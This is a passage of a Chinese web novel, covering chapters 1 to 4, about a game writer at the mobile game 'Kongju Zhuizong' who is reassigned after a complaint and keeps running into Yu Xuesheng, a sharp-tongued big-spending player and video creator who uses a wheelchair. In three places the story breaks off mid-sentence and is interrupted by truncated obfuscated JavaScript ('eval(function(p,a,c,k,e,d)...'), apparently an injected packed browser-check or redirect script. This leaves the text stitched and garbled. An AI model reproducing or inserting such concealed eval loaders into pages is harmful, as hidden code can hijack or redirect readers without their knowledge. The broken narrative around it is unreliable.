《对对对氪佬说的都对》 1. 第 1 章 砰。 姜察哆嗦了一下,手里的书没抱稳,全落在了办公桌上。 这动静属实有点大,周围几个同事回头看了看,连隔壁那排营销都悄悄伸长了脖子。 但很安静。 没一个窃窃私语的。 下午的阳光很好,他继续把手推车里的东西搬出来,放到桌上时带起了一片闪亮的飞灰。 主机,键盘,耳机,两台显示器…… 周边,手办。有公司发的也有自己买的,少数几个还是玩家送的。 ……多神奇。 不管干了多少好事坏事,人的过往都能被一些无关紧要的东西代表着。于是他的四年社畜生涯,就这么被“啪”地塞进了这个小小的手推车里。 姜察钻到桌子底下,接好主机,然后抽了张湿巾,擦了擦手和桌子。 他现在没心情看工作软件,但搬工位这半小时里,各路群里已经刷满了要处理的消息。 -《恐惧追踪》策划群 99+ -猎鲸行动 99+ -玩家舆情小群 2 … 他点开“猎鲸行动”四个字。 [秋秋秋:我看到小姜哥搬完了。] [寸头:你眼神那么好?] [秋秋秋:嗯,三楼最角上,离我这边还挺近。] [寸头:这也太快了,还没等我去搭把手呢] [秋秋秋:中午兰姐就在提流程了,不过,小姜哥最后是转组还是转职能了?] 姜察犹豫了一下,打字。 [养生小饮料:流放。] 流放。 用这词可能有点歧义,毕竟还没真惨到被流放的地步。 不过也差不多,今天上午他去找HRBP兰姐的时候,就已经猜到了这个结果。 好消息是,他升官了。 更好的消息是,他被从“非常忙碌可能对你来说压力有点大”的核心剧情组,调到了“轻松一些但依然非常重要且急缺人才”的包装组,还当上了组长。 他点开公司OA,自己的名字下面已经换了新标签:恐惧追踪-文案策划-包装组-组长。 群里的消息还在刷着,姜察起身,拿着杯子往茶水间走。 快到茶水间的时候,他老远就看见了一个站得笔挺的身影,赵敬之——他那个圆滑妥帖、永远都那么体面的上司。 “搬好了?”赵敬之看见他,稍微侧了侧身。 “嗯。”姜察点头。 “新工位怎么样?”赵敬之问。 “还行。”姜察说。 “那就好,”赵敬之说,“我记得你说喜欢清静的位置……” 姜察没说话,看了他一眼。 水流的声音变了调,赵敬之也沉默了一会儿,伸手把饮水机按停了。 “其实,”赵敬之说,“去包装组待段时间对你也有好处。” 姜察把自己杯子放上去。 “包装组的小组长离职后,那边一直没人带,而且你的经验最多,我跟主策不放心别人……”赵敬之说。 “我知道。”姜察说。 赵敬之叹了口气:“姜察,别把情绪带到工作里来。” 姜察没忍住,皱了皱眉。 去你爷爷的情绪。 赵敬之好像还有点欲言又止地看着他,但始终没得到一个对视。过了半天,姜察的水接完,冲他挥了挥手,拿着接满水的杯子转身就走。 “哎,姜察,”赵敬之在他身后喊了一句,“别忘了一会儿的座谈会,你是包装组长,得露个面。” 姜察步子没停,“嗯”地答应了一声,带上了茶水间的门。 …… 姜察没什么心情跟这位文案组组长扯东扯西,毕竟这是他被调走的第一天。 在手游《恐惧追踪》待了四年,亲手写了不少剧情、做了不少角色,一点点把这小破游戏的世界观架起来,结果因为一个什么破投诉,就被“人员调动”了。 但他也知道投诉只是表面原因,分组、调职、降本增效、明升暗降、嫡系非嫡系……在亲身经历前,每个人都以为这只是大厂里的恐怖传说。 下午的座谈会是五点,姜察在工位上翻着文档喝着水,想起来又有点胃疼。 他隐约记得,四年前他来到这层楼的那天,也正好碰上《恐惧追踪》的玩家座谈会。而那时候他还只是个坐在角落里的新人,看着一屋子氪佬狂喷策划,像鸡崽一样瑟瑟发抖。 而如今…… 他倒是也成为“要露个面”的人物了。 座谈会在三楼最大的会议室,四点五十分,姜察推开门,进屋时被吓了一跳。 各个环节的负责人都在:主策,营销,战斗组长,文案组长,主美……这阵仗,也就开月报会的时候能集齐这些人。 姜察找了个靠墙的边缘坐下,坐下的时候,感觉几道视线飞快往他这边瞟了一眼。 《恐惧追踪》的玩家群体年龄不大,这就导致座谈会嘉宾成分十分分明——紧张兴奋的是普通玩家,挂着脸或没什么表情是高级氪佬或KOL。 但这次比较奇怪,挂着脸的人比普通玩家更多。 “在交流之前,大家可以先听我说,”主策开口,“我们先回复一些最近的舆论,比如新付费等级和新时装……” 哦。 原来是这个。 几个月前,为了增加新付费点,《恐惧追踪》计划推出新的付费解锁内容。 这本身无可厚非,但不知道哪个脑子有泡的拍板,一点铺垫都没有,把付费升级内容在周年庆的节骨眼外放了。 而更地狱的是,配套时装只有外观没有背景包装,还跟竞品游戏撞了主题……玩家怀疑抄袭,更有大v发文怒喷,为了赚钱拿半成品出来,脸都不要了! 姜察脸色沉了沉。 妈的,怪不得上一个包装组组长离职。 合着把他调过来是来解决风险了? 主策一直在说些没营养的干巴话,全程反复道歉,又讲了全服补偿的安排。最后挨个介绍了各模块负责人,就到了提问环节。 “你是参与外观设计的……叫什么,包装组组长是吧?”有个玩家忽然看向姜察。 是,下午刚上任、派来挨骂的。 姜察面带微笑:“你有什么问题要解答吗?” “没什么,”那玩家眼神有点轻蔑,“就是想建议你们提高一下审美,一直借鉴历史考据和其他游戏的路可走不长,主题也别那么乏味,抄都抄得千篇一律——” 姜察继续微笑。 “还有那边的,美术负责人,”玩家又指了指斜对面的主美,“你们也是,提高一下审美。” 主美也笑得很难看,跟姜察对视一眼。 操。 看我干嘛? 我他妈第一天上任就来背锅了! “剧情不错的游戏,怎么其他方面做成这个德行?”玩家又补了最后一句。 在座各位要么是超级氪佬,要么是顶级大V,座谈会结束后,姜察脸上快笑麻了,心里燃烧着熊熊怒火。 来挨骂纯属无妄之灾,更可气的是夸剧情的时候就没人让他认领。 真他妈是不如流放,流放至少不用背锅…… 他去洗手间洗了一把脸,再出来的时候,玩家已经走空,会议室也没什么人了。几个营销在整理会后资料,秋总也在。 秋总就是群里的“秋秋秋”,沉稳干练的营销组女强人,因为性格强势,被他们加上了“总”字。 姜察叹口气,揉了揉僵了的脸,走了进去。 “打完了?”秋总把几张A4纸拢成一叠。 “打什么?”姜察愣了愣。 “刚刚那个玩家,”秋总说,“我以为你追出去跟他打架了,狠狠揍他一顿。” “靠,”姜察笑了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不行!不能进了!” 撑着伞快走到园区门口的时候,前边突然传来一阵喧闹。 “您这个访客申请已经过期了!”保安喊着,“而且现在都下班了,找谁都得明天来!” “明天?明天我还再跑一次?”有个人反问。 姜察撑着伞,朝大门口走过去。 刚下班的时间,人本来就挤,但这会儿的人行道上仍然围着一圈儿保安。 “访客码五分钟前还能用,你们猜猜我是因为什么进不去的?” 保安圈儿的人语气不疾不徐,姜察走得近了些,看见人微微愣了下。 那人坐在轮椅上,被一圈儿保安围着有些看不清脸,旁边的台阶上,有几块翘起来的地砖。 残疾人? “我们刚才就说了,可以帮您拆一下……”几个保安面色很难看,冲坐轮椅的男人解释着。 “你说的是拆轮椅!拆完我蹦着进去吗?”男人一脸震惊。 离近了才看得出来,那男的还挺年轻,长得也不错。可惜因为又下雨又坐着轮椅,这会儿显得有些狼狈。 听他们互喊的内容,估计刚刚是有什么轮椅零件卡在台阶上了。 姜察撑着伞路过,雨还在下着,不知道是冷得还是气得,轮椅上的人脸色都有点发白。 “要不先帮您联系一下您要找的人吧,真的抱歉,我们确实没做好无障碍设施……”另一个保安说。 “行,那等着,”男人满脸不耐烦地掏出手机,“我跟《恐惧追踪》的人聊聊。” 姜察的脚步猛地顿了顿,立刻往前走了两步。 就在迈出第三步的时候,兜里的手机震了起来。 2. 第 2 章 靠。 巧合吧? 姜察作为路人,竟然有一丝莫名的心虚。不过稍迟疑了两秒,他还是把手机拿了出来。 ——您好,您的包裹已经寄出…… 他松了口气。 不过也就是迟疑的这两秒里,一道目光射了过来。 “那边那位——” 姜察突然听见身后一声喊。 他下意识回头,跟坐在轮椅上的男人对上了视线。 “对,就你,”男人点点头,又指指他,“一脸……怨气的那位。” 姜察的步子顿了一下,然后扭头,拔腿就走。 他是想装没听见没看见的,眼下这节骨眼,他什么事儿都不想管。 轮椅男很年轻,看着也就是大学生的样子。这个年纪不可能是新员工,也不能是来面试的,再结合这个语气……八成是玩家。 来找事的?维权的?还是给他的未成年弟弟妹妹退款的? “你是不是《恐惧追踪》的人——” 还没走两步,轮椅男又锲而不舍地喊了一句,这一句声音挺大,周围人纷纷看了过来。 人群里,有几个半生不熟的面孔回头看了姜察几眼。姜察的脚步停了停,只好咬咬牙,又走了回去。 上门的玩家本来就不归他管,但最近职场不顺人多眼杂,这会儿别再又被哪个傻逼同事举报了。 “先进值班室里聊吧,别在雨里淋着。”走到大门口,旁边的保安也反应过来,给他使了个颜色。 姜察和轮椅男一起进了保安室,他收了伞,甩了甩雨水,然后掏出手机求助秋总。 这时间也不知道这人是来干嘛的,拉横幅?但坐着轮椅怎么拉,另一头栓园区栏杆上吗…… “你是策划吧?”轮椅男一边用保安给的毛巾擦着头发,一边盯着他。 由于一站一坐的高度差,姜察这会儿才近距离看到他的正脸。 长得还挺好看,挺年轻精致的一张脸,大学生的感觉。如果排除这一脸欠抽的表情和咄咄逼人的语气,倒确实不像闹事的人。 但好像在哪儿见过? 姜察犹豫了一下,正想着要怎么回答,面前的轮椅突然向前滑了半米。 金属扶手不经意似的撞上他的膝盖,他被挤得向后退了半步,几乎要靠上值班室的墙。 “问你呢,”轮椅男轻轻啧了一声,“你是策划吧?” “是。”姜察说。 他被迫低头俯视这个浑身湿透的人,对方的头发上还挂着雨珠。 “哦,”男人扬扬手机,“那座谈会结束了?” 姜察看过去,屏幕上是座谈会邀请的邮件。以及他手机上的挂链……是《恐惧追踪》氪榜top限定礼。 “你们主策,大老远找我过来座谈会,现在保安不让进,”男人问,“怎么办?” 姜察没说话。 “而且你,”男人轻笑一声,“这是中饱私囊啊?” 他的指尖点了点,最后指向姜察手里的伞。 他说的“中饱私囊”,明显是指那套“氪佬专用伴手礼”。这伞从来没发售过,但有参加卧谈会的玩家在网上晒过,倒是挺好认的。 姜察怔了下,想起秋总提过,有个“放鸽子的KOL”。 原来是这位。 人没来,对礼物倒是挺积极的。 “给个解决方式吧。”轮椅男看着他。 这语气不太客气,让姜察想起那个座谈会上指着他说“审美不行”的氪佬。他没说话,皱了皱眉,掏出手机又往群里发了几条求援。 但消息刚出去几秒,膝盖上传来一阵冰凉的触感。 他低头看过去,轮椅又往前滑了滑,裤子立刻被轮椅上的雨水沾湿了一大片。 “喂喂喂?”轮椅男比了个打电话的手势,“听得见吗?信号不好?” 这是有什么精神疾病吗! 姜察愣了两秒,已经不知道该说什么了,过了半晌,他手里的手机“嗡”地震了一下。他低头看了看屏幕,终于忍住了想骂人的冲动。 “不好意思,”他努力笑了笑,说,“我先代表项目组跟您道歉。” “哦,”轮椅男点点头,“信号连上了。” “一会儿有专人下楼接您,”姜察被这人自顾自的话气得有点牙痒痒,“但您找我没用——我下班了,而且我无权跟进后续事宜。” “还有你说的中饱私囊,”姜察深吸一口气,往门口走了两步,“现在还你。” 他把包里的袋子掏出来往桌上一搁,然后手一扬,带着雨水的伞丢进轮椅男的手里,飞起一片水珠。 然后转身,头也不回地冲进了雨幕。 …… ——你可真会惹麻烦。 姜察从浴室里出来,丢在床上的手机正闪着。 他一边擦着头发一边拿起来看了眼,消息详情都没打开就又丢了回去。 一小时前,在最最美好的下班时刻,一个精神病阻拦并破坏了他今日唯一一点来自于“没加班”的好心情。从公司出来骑自行车冲回家,十五分钟的路程里,他被雨淋得透心凉。 要不是勤养生勤锻炼到家立刻洗热水澡……这一通少不了感冒发烧流鼻涕。 坐在靠窗的豆袋沙发里喝了两杯热茶、看够窗外夜景后他才缓过来,刚才那通闹剧跟做梦似的。 麻烦?他隐约想起来没看完的消息。 能有多大麻烦? 比调岗调职还大的麻烦? 他捞过床上的手机打开,消息是秋总发来的,总共四条。前三条带着恨铁不成钢的语气喷他脾气差,最后一条是个链接。 姜察点了下,跳转到一个视频网站。画面上跳出来一个男……门口的轮椅男? 视频不长,轮椅男坐在桌前,分析了某著名3A大作的美术设计和文化符号,内容很精炼紧凑,引用的参考资料也很有水平。 姜察又往下划了划,发现视频发表于一年前,up主名叫白雪王子,名儿不怎么讲究,但粉丝还挺多。 再点进主页看,这人涉猎非常广泛:3A游戏测评、锐评手游厂商、某个新上线游戏的游玩视频……还有很多绘画录屏。 秋总又两条消息发了过来。 [秋秋秋:他是我们营销部门请过来合作的,飞机延误了又下雨才堵门口的,怎么就被你给捡着了呢?] [秋秋秋:算了,我还在跟他聊,你做好心理准备吧。] 姜察捏了捏眉心。 靠。 第二天,姜察踩着点到了公司。秋总提前跟他通了气,说主策今天要亲自重新接待。 刚坐到工位上,秋总就一阵风似的跑了过来,她指节在桌上叩了叩,姜察乖乖跟着她走过去。 ——还是昨天的七号会议室,只不过没那么多人。 轮椅男,主策,加上他和秋总,现在只有四个人。要是可以的话,能在桌子的四个角各自割据一方保持安全距离…… “坐吧,姜组长,”主策对他笑了笑。 他脸上的表情看不出态度,不过估计对昨日闹剧早有耳闻,这会儿脸色不好,也没直呼姜察的姓名。 屋里只有两个空位,姜察在轮椅男旁边和主策旁边二选一犹豫了下,最后坐在了主策身边、轮椅男的对面。 “开始吧。”主策对坐在身旁的秋总点点头。 投影屏被“啪”地按亮,ppt还是昨天座谈会用过的。 “要先介绍一下吗?”秋总说,“二位是不是都见过了。” “嗯,见过,在大门口。”轮椅男说。 姜察抬头看轮椅男的表情,对方也正看着他,一脸温和地微笑着。 说也奇怪,他脸上的笑倒是让人看不出有什么挑衅或不爽,跟昨天比简直换了个人。 今天是个大晴天,轮椅男穿着件酒红色的缎面衬衫,袖口挽到小臂,正翻着一叠资料看着,半长的头发遮了点脸,显得很文雅体面。 姜察想起那个账号,突然理解了为什么有那么多粉丝。 ——他长得很漂亮,那种艺术品一样的漂亮,就算看不懂视频,当个颜粉也够了。 “那我再介绍两句吧,”秋总说,“这位是文案策划,包装组的姜组长。这位是喻雪生,喻老师是我们游戏的核心玩家,也在运营游戏区的个人账号。” 姜察深吸一口气,站起身握手:“你好。” 喻雪生没动,仍然微笑着。 姜察这才回过神来,看向喻雪生的轮椅。 会议室桌子太宽,真要握手的话要么他绕过去,要么医学奇迹。 “……不好意思。”他有点尴尬地把手收回来,坐下。 今天的小会明显是为了给喻雪生补偿昨天的座谈会,内容没什么变化。只不过讲解的人换成了秋总,主策在一旁偶尔补充一下。 在《恐惧追踪》,一般只有营销和玩家、KOL紧密对接,除非大型座谈会或发布会,策划在公开场合只起个吉祥物的作用。 但姜察不是吉祥物,是前来赔罪的附赠品。 直到ppt讲完、QA环节结束,附赠品都一声没吭,尽量保持着一副良善的微笑。 好在今天这位叫喻雪生的氪佬心情也不错,看着不像昨天在门口咄咄逼人的样子。 快到结束时间时,秋总开口:“我们有个想法,想和喻老师谈谈。” “您讲。”喻雪生说。 “喻老师的视频质量非常高,想请问您有没有合作的兴趣,”秋总说,“说实话,其实我们组内就有很多您的粉丝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“没想好,”喻雪生研究着轮椅上的按钮,“这游戏挺有意思,但他们项目组的人太讨厌。” “还有比你讨厌的人?” “多了去了,”喻雪生按了向前的按钮,“您见识也忒浅薄了点。” 电话里的人有点不屑:“策划吧?游戏公司的狗策划没一个好东西。” “从上个公司带出来的怨念到现在还没消散啊?”喻雪生勾着嘴角,“早跟你说别去当坐班的原画师,天天被人指手画脚……” “说你自己的事!”对面的人喊了声。 喻雪生笑了半天。 “反正你现在休学了,打算复播的话,这个项目是个挺好的机会。”对面说。 “但这人是真的……”喻雪生想起来,忍不住皱皱眉,“今天倒是人模人样的,昨天甩我一身水,我要是腿脚利索能给他两拳。” 对面乐了:“你又不是跟他一对一合作,再说了,真给他两拳也用不着腿。” “我等着再计划看看吧。”喻雪生把轮椅停下,又倒回去。路对面,一辆黑色的商务车正在掉头。 “不说了,挂了,一会儿见面聊。” …… 这世界上应该没有比上班更折磨人的事了。 而一想到未来四五十年还要工作,伺候这个伺候那个,整个天空又变得黯淡无光起来。 姜察停下自行车,看看头顶黯淡无光的天空。他下班前看过天气预报,一小时内应该不会下雨。 ……然后半小时过去,他终于找到一个标牌。指向导航上那个很牛逼的酒店的很牛逼的停车场旁边的……不那么牛逼的快递站。 人倒霉了真是喝凉水都塞牙缝,网上买个东西快递都能给放错了地址。 这片儿离他家不远,但高级酒店掺着高级住宅,灯红酒绿金碧辉煌的氛围让人十分恍惚。 明明就隔两条街,和他住的那片社畜专用小公寓像是两个世界。 出入旋转门的都是俊男靓女,门口停着的都是保时捷宾利。姜察问了前台才找到角落里的安全通道,快递站在地下,得从安全通道下去。 下楼的时候,一个穿着酒红色风衣的男的刮了他一下,还没等他开口说什么,那男的就很不耐烦地抱怨了一句。 他怔了一瞬,那抹相似的颜色又让他想起喻雪生——讨厌的人果然都这么相似。 “十六杠三……”姜察站在快递站门口翻着短信。 “自己拿。”端着盒饭的快递站大爷头都没抬。 靠。 要不是这几天吃了不少教训,这一路他应该已经爆炸好几次了。 初春的季节,没空调的快递站又潮又闷。姜察费了半天劲,才从货架上把一个巨大的泡沫箱拖了出来。 又艰难跋涉了半天,好不容易才拽到一楼地面。 “姜组长?” 姜察正挽着袖子打算再往路边拽一拽的时候,一个熟悉的声音在身后响起。 他有点僵硬地回头——轮椅上,喻雪生表情很意外地看着他。 3. 第 3 章 “啊。” 姜察不知道说什么好。 “你也住这里?”喻雪生指了指旁边的牛逼酒店,“这么巧?” “没,”姜察说,“我来……取快递。” 喻雪生的表情更惊讶了,他眼神落在姜察脸上,又落在地上的快递里。转了好几个来回,才慢慢皱起眉。 “姜组长,你买的这是……”他声音有点迟疑。 姜察顺着他的目光看过去——地上白色的泡沫箱缝隙里,隐隐洇出了暗红色的血水。 “尸体。”他平静地跟喻雪生说。 喻雪生愣了愣。 “这么……厉害?” “你感兴趣?”姜察问。 “没,”喻雪生慢慢把轮椅往后退了退,让出一条路来,“您先带着尸体过,不愧是恐惧追踪的策划……” 姜察理都没再理他,拖着快递走了。 姜察的背影消失在了酒店花园的拐角,喻雪生还停在原地,不知道该笑还是该无语。 他又想了半天,然后叹了口气,开着轮椅进了酒店。 可能是表情转变太快,给他开门的门童看过来,目光里带着点疑惑。 喻雪生在电梯间里才点开手机,调出“该隐”的电话拨过去。 “想好了?”对面问。 “啊。” “想得还挺快,这顿饭值啊,少爷您一下子就醍醐灌顶了——” “少说两句,”喻雪生说,“你给我打听打听,我要在这边租个房子。” “啊?”该隐愣了愣,“你不回家了?” “回什么回,”喻雪生笑笑,“大城市怪人够多,待着也挺有意思。” 在离家还剩五百米的时候,雨点噼里啪啦地砸了下来。 姜察让出租车司机把车停在了楼下,花了五分钟才把快递从后备箱拖出来、又拖进了公寓。 进公寓大门的时候,新来的保安看了他好几眼,站在电梯间等电梯时,周围的人也离他远远地站着。 他低头看了眼脚下渗血的泡沫箱。 行吧。 全世界都离他远点才好。 电梯停在十四楼,姜察走完到家门口的最后二十米,只觉得被抽空了最后一丝力气。 他几乎闭着眼开门进屋、换掉淋湿的衣服,然后“咚”地倒在了床上。 还渗着血水的快递被丢在玄关。 差评。 只想给快递员差评。 就像玩家给他们游戏的差评。 衣食父母给凄惨打工人的差评…… 这个快递导致了他跟喻雪生意外相遇,也导致他现在非常不爽,更不爽的是接下来他们还有可能要跟喻雪生合作。 但这份不爽并不完全针对喻雪生,更多的是针对他自己。 扪心自问,他应该是个职业素养还可以的游戏策划。但这些他引以为傲的“素养”,被一些跟工作无关的破事搅得七零八碎,让他没法保持专业的工作态度和心情。 姜察缓了半天,挣扎着爬起来,去厨房拿了把刀。 他蹲在门口,把泡沫箱上的胶带划开。这次的快递里有几块商家送的牛肉,纹理挺好,但包装有点问题。加上冰袋有些化了,这才渗了血水出来。 他把东西一件一件拿出来,“咚咚”两刀把很长的骨头剁开,包好了放进房间角落的冰柜,接着剁下一根。 都这个时间了,声音有点大,但他不用担心影响邻居。 姜察住的是栋酒店式公寓,四年前他搬来这里,租了套双钥匙的下层,付着并不算低的租金,只图一个离公司近。 而自从去年楼上一个网红搬走后,一直都没搬来新的邻居…… 也是,谁会住这儿呢? 这座城市,这片区域。有钱的都买了房,没钱的也不会租公寓住。住这儿的大多是年轻的大厂打工人,怀着美好的憧憬在此落脚,像他一样独自处理食材,独自挤电梯淋雨。 这样的生活或许还要几年,或许不知道还要多少年…… 姜察拧开水龙头,冲干净手。 早点处理完吧,明天还得上班,得赶快洗个热水澡去。 …… 喻雪生的电话,该隐向来响应得很及时。 雨淅淅沥沥地下着,半小时后,一辆尾号一串九的比亚迪停在了牛逼酒店的楼下。 门童下意识想去拉后座的门,随即看见司机从前面开门下来,诧异地一愣,反应过来后赶紧上前接过车钥匙。 喻雪生在楼上的套房里目睹了全程,乐得端着酒杯晃了半天。 给该隐开门的时候他才把笑意收敛了点。 “师傅拉活儿回来了?”喻雪生问。 “淳朴简约,我乐意。”该隐斜了他一眼。 两人进屋,该隐脱了黑色的皮夹克丢在桌上,往客厅沙发里一坐。喻雪生给他倒了杯酒,也哼着歌挪回窗边,靠进轮椅的靠背里。 电视上在播美食节目,如何煎出火候恰当的牛排。 “你是不是有钱没处花了?”该隐扫视了房间里一圈,“自己住还订这么大套房?” “我乐意。”喻雪生说。 该隐叹口气:“那你继续乐意吧,不饿几顿治不了你的毛病。” 喻雪生晃了晃酒杯,笑着抿了口酒。 “所以电话里什么意思?”该隐也喝了口酒,“你打算在这边久住?” “嗯。”喻雪生点头。 “为什么?”他皱着眉,又喝了一口,“……靠你给我倒的什么东西!” “牛二加冰,适合淳朴简约的你。”喻雪生指了指吧台上的小玻璃瓶。 该隐瞪了半天眼,把酒杯放下了。 “我认真的,”喻雪生说,“这城市挺有意思,氛围也好,我打算在这边采采风,看看山啊水啊湖啊的。” “你懒得快长毛了,你能跟山水湖有屁关系!”该隐喊。 “文明点。”喻雪生指指他。 “干嘛不回家?出院后还没回……” “嘶,”喻雪生皱起眉,一脸痛苦,“别提这个,一听我就腿疼……” 该隐瞪了他一眼。 “不过,我还是劝你省着点,做治疗也得花钱,”该隐说,“总不能花完了又管你家要……算了,我不提了。” 喻雪生没说话,放下酒杯。 “不说腿,我看你脸色也不好……”该隐叹口气。 “哎,”喻雪生笑了笑,“怎么跟教育叛逆期儿童似的。” “你跟叛逆期也没差多少。”该隐说。 “这就说对了,”喻雪生说,“所以别操太多没用的心,小心我一叛逆腿还能再断一条……” “去你大爷。”该隐骂了一句。 屋里的中央空调开着自然风,嗡嗡地响着。 两人都没再说话,该隐又拿过酒杯喝了一口,边喝边龇牙咧嘴了半天。 喻雪生看见他的表情有点想笑,挺酷一帅哥,喝个酒跟被电着似的。 “我真欣赏不来这个,”过了好半天,该隐感叹,“太……粗犷。” “等租到房子再请你喝正式局,”喻雪生说,“下次来你顺便给我带点茶叶。” “等你空了去我家摘都行,”该隐说,“这几天的话,正好赶上春茶。” 不知道待多久,直到喻雪生迷迷糊糊快睡着了,耳边才传来该隐关门离开的声音。 他慢慢睁开眼睛,酒店房间里只剩了他一个人。 挺好。 自己和自己相处,这是他最熟悉的状态、最熟悉的环境。 就算该隐是他唯一的朋友,他也不太习惯让人多管闲事,尤其是提他家那堆破事。 更何况这次的该隐还没跟上版本…… 喻雪生皱皱眉,翻着手机。 除了该隐,最新的一条是昨天的,是孙医生催他去开药。 再往下是垃圾信息,横贯断断续续的两周,来自无数个购物软件。 再往下…… 已经是快一个月前了。 一条银行入账信息。 …… “你能不能有点正常的爱好?” 寸头靠在打开的窗户旁边,一边嘬了口烟,一边皱眉盯着姜察。 “啪”。 姜察手起刀落,干脆利落地砍下案板上的鱼头。 这次买的三文鱼足有十二斤,饶是熟手,分割起来也有些辛苦。 “你一会儿别吃,”姜察把鱼头放在一边的盘子里,“让你来吃鱼还讨论上我的爱好了。” “我靠,”寸头喊了一声,“我他妈是被骗来的好不好,你们不是说去酒吧吗?” “谁跟你一样,”姜察斜了他一眼,“我没那心情。” “那就有这心情?”寸头无语了,指了指他手里操着的利刃,“太怪了,谁他妈的解压爱好是片鱼啊!” 姜察放下刀,拿起旁边的鱼刺夹,转头看向秋总:“你觉得奇怪吗?” “不怪,”秋总笑着摇头,“一会儿把寸头那份给我。” “没问题。”姜察比了个OK的手势。 寸头有点郁闷地瞪了两人半天,又抽了口烟,闭嘴了。 鱼腹、鱼背、鱼尾。 鱼骨、鱼头,还有没用的边角料。 姜察很喜欢这种感觉——把一条完整的鱼分成不同部位,就像在混乱里寻找唯一的答案。 漂亮的橙色,均匀的脂肪线。他把切好后的鱼按部位装好,感觉在欣赏一件艺术品……即使这个欣赏的过程看起来像什么变态杀人狂。 但这种快乐不比去酒吧欣赏帅哥美女差,他甚至专门为此买了一个冰柜。 姜察挑了两块漂亮的鱼肉,切成刺身,摆好盘,端过去放到餐桌上。 “你也吃点?”秋总在厨房拿筷子,“看你忙半天了。” “不用,”姜察摇摇头,把冲洗好的刀具插回架子上,“你们先吧。” 秋总轻轻啧了一声:“吃个鱼还分先后,你那桌子又不是只能坐得下两个人。” 姜察有点无奈地看了她一眼。 “赶紧,”秋总又伸手拿芥末和酱油,“寸头带酒了,一起喝点。” 寸头还是没放弃喝酒的约定,带过来的酒好像挺高级,瓶子上一堆洋文。 姜察不太能喝,也不太爱喝,但喝了一会儿,他也能有点能理解这种和朋友喝着酒、聊着天、吃着饭的乐趣。 “你这手艺去找个兼职吧,”寸头看着鱼片,“去饭店当切刺身的师傅好不好。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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该隐给他介绍的这个中介挺高端,带他看房是开着车来的,还是辆帕萨特。 昨天他刚去医院复查完,医生说腿恢复得不错,如果没什么心理因素,早就可以不用轮椅了,能拄着拐锻炼锻炼。 行吧,那就锻炼吧。喻雪生想起来医生的话,有点儿忍不住皱眉。 “喻先生,”开着车的中介从右后镜里看他,“咱接下来看的可就是最后一套房了,您有嘛儿不满意的不要紧,一定得跟我说。” 喻雪生回过神,舒展了一下眉头:“好。” 中介姓赵,听口音有点天津味儿。但每到一个街区都跟活地图似的,从菜市场到幼儿园介绍得明明白白。 拐了两个弯后,附近开始变得热闹,喻雪生隐约感觉这条街有点眼熟。 “这边儿挺多商场和大公司,”小赵说,“不过您放心,氛围保证不一样。” 喻雪生“嗯”了一声,他确实要求房子不能在商业区。 “这栋楼是五年内交房的,是栋酒店式公寓,”小赵跟保安打了个招呼,开进停车场,“您看,安保物业都靠谱,这也是熟了才把我车放进去。” “确实。”喻雪生配合地答应,好像一个捧哏。 “这楼里有两种户型,咱今天看的是一套双钥匙的楼上,双钥匙您知道么?就是一户有上下两层格局一样的套间,共用一扇外门。我听您朋友说您对隔音要求很高,这种户型保准一点儿噪音都听不见……” 小赵颇有热情,他嗡嗡嗡地说了一大堆。喻雪生推了推墨镜,只觉得听得头疼。 停好车,中介去前台登记的工夫,喻雪生拄着拐在一楼大厅里溜达了一圈。 电梯开了几次,往来的都是年轻人,大多是正儿八经的白领打扮。其中也有些穿得很时髦的,估计是附近做电商的网红。 安全应该没什么问题,而且这种环境怪人肯定很多。 很符合他的兴趣。 寸头的车停在地下车库。今天来的时候,秋总是蹭他的车过来的。 两人上了车,把姜察给他们装上的鱼肉放在后座。秋总系上安全带的时候,突然想起了什么似的皱了皱眉。 “我刚刚是不是眼花了?”她说。 “什么?”寸头问。 “刚才电梯开的时候,”她说,“我好像看见一楼大厅里站着个人。” “那也不能站着半个啊。”寸头边说边发动车子。 “别扯,”秋总白了他一眼,“我的意思是熟人。” “公司的?”寸头问。 “不是,戴着墨镜,穿得挺花哨……”秋总想了想,“有点像那个跟小姜哥吵架的KOL。” 寸头愣了下:“啊?那个氪佬?他来干嘛,寻仇啊?” 秋总有点无语。 “你看错了吧,”寸头啧了一声,“姜察这楼里做直播的多了去了,做直播的男的穿得都差不多,花枝招展……” 这天彻底聊不下去了,秋总摆了摆手,闭了嘴。 “算了,”她叹了口气,拿起手机。 4. 第 4 章 喻雪生坐在床垫上,看着中介小赵打电话。 “哎,我知道,”小赵的声音很诚恳,“您这房子挺好,租客也有意向,就是觉得屋里少了点儿家具……” 点儿? 喻雪生坐在床垫上,抱着手臂环顾四周,他旁边是这屋除了洗衣机以外唯二的家用电器——一盏落地台灯。 今天上楼的时候他还挺满意,但在进屋的一瞬间就沉默了,此房简直可以用“家徒四壁”来形容。 除了床、台灯、洗衣机,屋里再没有其他的东西,哦,洗手间墙上还有个超小号的电热水器。 小赵解释说,上一任租客搬走之后这屋空了快半年。房东以为不好租,这才把家具都挪走了。不过也因为这样,房租很好商量。 行吧。 喻雪生低头看了眼手机,又看了看正在讲价的小赵——这都快八点了。 趁小赵打电话这会儿,他又在房间里转了两圈儿。房间很空,很适合做做空间规划。 ——这边睡人,这边当工作区,中间找点东西隔开;储物间在门口,可以用来塞那堆破木头旧刻刀金粉各种粉…… “房东说首月给您减五百块呢,”过了一会儿,小赵挺高兴地挂了电话,“家具电器也可以配新的!” 喻雪生“嗯”了一声。 “那您今天把合同签了?”小赵说,“还是再考虑看看?” “签吧。”喻雪生说。 晚上回到酒店,喻雪生给该隐打了个电话。 “这么快就定了?”对面有点惊讶,“你是不是没钱扣酒店房费了啊?” 